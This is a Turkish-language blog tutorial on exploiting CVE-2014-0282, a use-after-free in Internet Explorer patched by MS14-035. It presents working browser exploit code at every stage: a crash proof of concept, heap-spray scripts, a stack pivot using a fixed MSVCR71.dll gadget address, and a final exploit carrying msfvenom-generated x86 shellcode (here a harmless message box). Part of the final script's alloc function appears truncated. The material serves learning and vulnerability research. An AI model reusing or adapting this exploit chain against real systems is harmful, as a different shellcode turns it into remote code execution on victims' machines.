CVE-2014-0282 (MS-35) CInput Use-After-Free Açıklığının Sömürülmesi

Sevgili Dostlar, bu makalemizde bilinen bir Microsoft Internet Explorer açıklığını istismar etme konusunu işleyeceğiz.

CVE-2014-0282 isimli Haziran 2014 tarihinde Internet Explorer uygulamasında keşfedilen bir use-after-free (bellekteki nesnenin serbest bırakılmasına rağmen kullanılmaya çalışılması) açıklığıdır. IE6 sürümünden IE11 sürümüne kadar tüm ürünleri etkileyen bu açıklık MS14-035 ile kapanmıştır. Aslında İnternet üzerinde bu açıklıkla ilgili çalışan istismar kodu bulmak rahatlıkla mümkün ancak ben burada öğrenme maksatlı olarak gerekli tüm adımları sıralayacağım.

Bu çalışma kapsamında exploit yani istismar, Return Oriented Programming ve Heap Spray kavramlarını biliyor olduğunuzu varsayıyorum. Örnek bir istismar çalışmasını blogumuzun ilk makalelerinden birinde izah etmiştim hatırlarsanız. Ayrıca referans bölümünde paylaştığım web sitelerini de inceleyip çalışmanızı şiddetle öneriyorum.

Bir istismar konusunu çalışmanın en kritik aşaması doğal olarak istismarın çalıştığını gösteren bir kod parçacığına (Proof of Concept – POC) sahip olmak doğal olarak. Çünkü bu kod ile açıklığa ve programın çökmesine neden olan hususları ortaya koymak mümkün olacaktır.

Ben şahsen aşağıdaki POC’yi kurduğum bir sanal Windows XP SP3 makinesinde yer alan Internet Explorer 8 üzerinde başarıyla çalıştırabildim. (Eğer makinenizde istediğiniz Internet Explorer sürümü yoksa, ihtiyacınız olan tüm sürümleri IE Collection Websitesinden yükleyebilirsiniz. Evet, şimdi POC kodumuzu inceleyelim:



<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>
<script>
var startfl=false;
function changer() {
// Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element  
   if (startfl) {
       document.getElementById("testfm").innerHTML = ""; // Destroy form contents, free next CInput in DoReset
       CollectGarbage();
   }
    
}
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call
</script>
</body>
</html>



Internet Explorer crash

Bu kodu çalıştırdığımda, gerçekten de sanal bilgisayarımda IE uygulamasını çöktüğünü gördüm.

Uygulamayı neyin crash ettirdiğini tespit edebilmek için, uygulamaya debugger’ı attach edip bağlamalıyız. Ancak uygulamayı debug etmeden önce iki hususu özellikle hatırlatmak istiyorum:

1) Lütfen WinDBG için gerekli symbol dosyalarını indirerek “.symfix symboldosyayolu” komutu ile debuggerınıza tanıtınız.

2) Aşağıdaki komut ile heap debugging özelliğini etkinleştiriniz:

Enable Heap Debugging

Evet, artık crash yani programın çökmesine tam olarak neyin sebep olduğunu inceleyebiliriz:

Crash Debugging

Burada görüyoruz ki, program mshtml.dll içindeki CElement::GetLookAsidePointer fonksiyonu içinde ve tam da “and eax, dword ptr [esi + 1Ch]” komutunda çöküyor. Bu durum bize ESI register belleğinde yer alan bir nesne pointer’ı EAX registerına kopyalanırken hata oluştuğunu ima ediyor.

Crash olmadan önceki son komutları kv komutu ile sıraladığımızda, sondan ikinci komutun mshtml!CFormElement::DoReset olduğunu görüyoruz ki aslında bu komut bize POC’den tanıdık geliyor.

ESI içindeki heap bloklarını daha ayrıntılı incelediğimizde, ulaşılmak istenen adresin aslında silinmiş bir nesneye ait olduğunu görüyoruz ki, bu da aşikar şekilde bir Use After Free açıklığıyla karşı karşıya olduğumuzu gösteriyor. “!heap –p –a esi” komutu bize bu konuda yardımcı oluyor. ntdll içindeki RtlFreeHeap komutundan hemen önce CTextArea::vector nesnesini silen bir destructor fonksiyonuna tanıklık ediyoruz ki, bu da bu alanın önceden CTextArea için tahsis edilmiş ve sonra silinmiş olduğunu, dolayısıyla bizim POC’de yer alan form içindeki nesnelere karşılık geldiğini anlıyoruz.

Crash Debugging Heap

Sonuç olarak, ilgi alanımızın msdhtml.dll içindeki CTextArea fonksiyonu olduğunu tespit ettik. Bunun yanında bu nesne için bellekte ne kadarlık bir alan da tahsis edilmiş olduğunu keşfetmemiz gerekiyor. Bunun için ilk yapmamız gereken System32 klasörü altında yer alan mshtml.dll fonksiyonunu IDA ile açmak:

mshtml_dll_function in IDA Pro

Burada ilgili fonksiyonu disassembly yaptığımızda, stack alanında ayrılan bellek alanının 60h yani 96 byte olduğunu görüyoruz:

mshtml_dll_dissambly in IDA Pro

Artık heap alanında serbest bırakılmış bu nesnenin üzerini kendi verimizle doldurarak bu bellek alanını kontrol etme aşamasına geçebiliriz. İlgili nesnenin bellek alanının üzerine yazan aşağıdaki kod ile bunu başarabiliyoruz:



<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>
<script>
var startfl=false;
function changer()
{
  if (startfl)
  {
var c = new Array(100);
for (var a = 0; a < 100; a++) {
c[a] = document.createElement('img'); }
document.getElementById("testfm").innerHTML = ""; CollectGarbage();
var b1 = "%u4141%u4141";
for (var a = 4; a < 94; a += 2)
    {
      b1 += "%u4242";
}
b = unescape(b1)
for (var a = 0; a < c.length; a++) {
      c[a].title = b;
    }
}
}
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call
</script>
</body>
</html>



Evet, açıklığın gerçekten istismar edilebilir olduğunu gördük. Bu çok ciddi bir adım. EAX register belleğini kontrol edebiliyoruz ve EIP tam olarak EAX + 1D4h noktasına crash oluyor. Bu, saldırı kodumuzu yerleştirirken 468 byte’lık bir offset alanını hesaba katmamız gerektiğini gösteriyor. Bunu aklımızda tutalım.

Exploitability on Debugger

Şu ana kadar iyi gidiyor, ASLR’ye bağlı kalmamak ve kontrolümüzde bir sanal bellek alanına sahip olmak için Heap Spray yapmanın zamanı geldi. Burada Heap Spray’in ne olduğuna girmeyeceğim, yalnızca kendi kullandığım kodu paylaşmak istiyorum:



<html>
<script>
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
    Padding = '';
    NopSlide = '';
    
    var Shellcode = unescape(
    '%u7943%u6562%u5372'+   // ASCII  43 79 62 65 72 53 70 68 69 6e 78
    '%u6870%u6e69%u9078'  // CyberSphinx
);
    
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%u4141');}
    
    for (c = 0; c < block_size; c++){
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
    
    alert("Sprayed You!");
    
</script>
</html>


Yukarıdaki kodu çalıştırdıktan sonra WinDBG ile pause edip incelediğinizde, sanal bellek alanının düzenli olarak bloklara bölünmüş olduğunu görürsünüz:

Heap Spray

Artık bu spray kodunu yazmış olduğumuz kontrol kodu ile birleştirebiliriz. Bu noktada ilk aşamada etkinleştirdiğimiz Heap Debugging özelliğini iptal etmenizi özellikle hatırlatmak isterim. Eğer bunu yapmazsanız, bu iki kodu birleştirdiğinizde crash noktasının kaybolduğunu görebilirsiniz (bunu keşfetmek günlerimi aldı).

Cancelling Heap Debugger Option

Aşağıda crash noktasını 0x0c0c0c0c adresine yönlendiren yeni kodumuzu görüyoruz:




<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
 
 
 
<script>
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
    
    block_size = 0x1000;
    padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
    Padding = '';
    NopSlide = '';
    
 
    
    var Shellcode = unescape(
    '%u7943%u6562%u5372'+   // ASCII  43 79 62 65 72 53 70 68 69 6e 78
    '%u6870%u6e69%u9078'  // CyberSphinx
);  
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%u4141');}
    
    for (c = 0; c < block_size; c++){
               //   468 / 2 = 234; 234 - 6 = 228
if (c == 228){
NopSlide += unescape('%u4242%u4242');  
 
// NopSlide += unescape('%u8b05%u7c34');  // 0x7c348b05 (Stack Pivoting)
c++;
}else
{
NopSlide += unescape('%u9090');
}
}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
    
 
</script>
 
 
 
<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>
 
 
 
<script>
 
var startfl=false;
function changer() {
 
 
 
 
// Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element  
if (startfl) {
var c = new Array(100);
for (var a = 0; a < 100; a++)
{
c[a] = document.createElement('img');
}
document.getElementById("testfm").innerHTML = "";
 
 
CollectGarbage();
 
var b1 = unescape("%u0c0c%u0c0c");
for (var a = 4; a < 94; a += 2)
{
b1 += "%u4242";
}
b = unescape(b1)
for (var a = 0; a < c.length; a++)
{
c[a].title = b;
}
   }
    
}
 
 
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call
 
 
 
</script>
</body>
</html>



WinDbg Debugger hit

Harika, EAX registerını kontrol ediyoruz, artık bu veriyi stack alanına aktararak EIP tarafından işlenmesini sağlayabiliriz. Stack Pivoting dediğimiz bu işlemi MSVCR71.dll üzerindeki 0x7c348b05 adresini kullanarak yaptım. Bu adres Assembly gadget olarak “# XCHG EAX,ESP # RETN” komutuna karşılık gelir ki, bu EAX verisi ile ESP verisini değiş tokuş yaptırır. (MSVCR71.dll, Java ile gelen bir kütüphane dosyasıdır, bilgisayarınızda System32 klasörü altında bu dll yoksa, Java kurmanız gerekecektir).

Stack Pivoting’i etkinleştirmek için yukarıda paylaştığım kodda yalnızca “NopSlide += unescape(‘%u8b05%u7c34’); // 0x7c348b05” satırındaki yorum özelliğini kaldırmanız yeterli.

Exploit Stack Pivoting

Nihayet istismar kodumuzu ROP kodunu ekleyerek (yine MSVCR71.dll kütüphanesinden aldığımız ve Virtual Protect fonksiyonunu açan Assembly gadgetlar ile) ve shell kodumuzu ekleyerek tamamlayabiliriz.

Shell kodumuz yalnızca sitemizin takma adını mesaj uyarısı olarak vermekte. Shell kodumuzu “msfvenom -a x86 –platform windows -p windows/messagebox TEXT=”Cyber Sphinx” -f js_le” komutu ile yaratmak mümkün oldu:

ROP işlem akışını istenen adreste bekleme noktası (bp 3eb4e705) koyarak ve ardından “t” komutuna ardışık olarak basarak takip etmeniz mümkün.





<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
 
 
 
<script>
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length "Cyber Sphinx!"
    //--------------------------------------------------------------//
"%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846" +
"%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854" +
"%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac" +
"%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b" +
"%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e" +
"%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff" +
"%u0845%u6c68%u206c%u6841%u3233%u642e%u7568%u6573%u3072%u88db%u245c%u890a%u56e6" +
"%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff5f%uffff%u6f68%u5878%u6820" +
"%u6761%u4265%u4d68%u7365%u3173%u88db%u245c%u890a%u68e3%u2058%u2020%u6868%u6e69" +
"%u6878%u2072%u7053%u4368%u6279%u3165%u88c9%u244c%u890c%u31e1%u52d2%u5153%uff52" +
"%u31d0%u50c0%u55ff%u4108"
 
);
    
    for (p = 0; p < padding_size; p++){
    Padding += unescape('%u4242');}
    
    for (c = 0; c < block_size; c++){
if (c == 46){
// NopSlide += unescape('%u4242%u4242');  // 0x7c348b05
NopSlide += unescape('%u8b05%u7c34');  // 0x7c348b05
c++;
}else
{
NopSlide += unescape('%u9090');
}
}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
    
 
</script>
 
 
 
<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>
 
 
 
<script>
 
var startfl=false;
function changer() {
 
 
 
 
// Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element  
if (startfl) {
var c = new Array(100);
for (var a = 0; a < 100; a++)
{
c[a] = document.createElement('img');
}
document.getElementById("testfm").innerHTML = "";
 
 
CollectGarbage();
//var b1 = unescape("%u0a38%u0c0c");
var b1 = unescape("%u0c0c%u0c0c");
for (var a = 4; a < 94; a += 2)
{
b1 += "%u4242";
}
b = unescape(b1)
for (var a = 0; a < c.length; a++)
{
c[a].title = b;
}
   }
    
}
 
 
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call
 
 
 
</script>
</body>
</html>



Exploit Successfully Running

Son olarak, bu istismar kodu üzerinde çalışmak gerçekten çok keyifliydi. Bu konuları anlamamı sağlayan aşağıdaki referans web sitelerine özellikle teşekkürlerimi iletmek isterim:

1) White Paper by NCC Group Publication

2) Tutorial by Fuzzy Security (b33f)

3) Tutorial by Corelean Team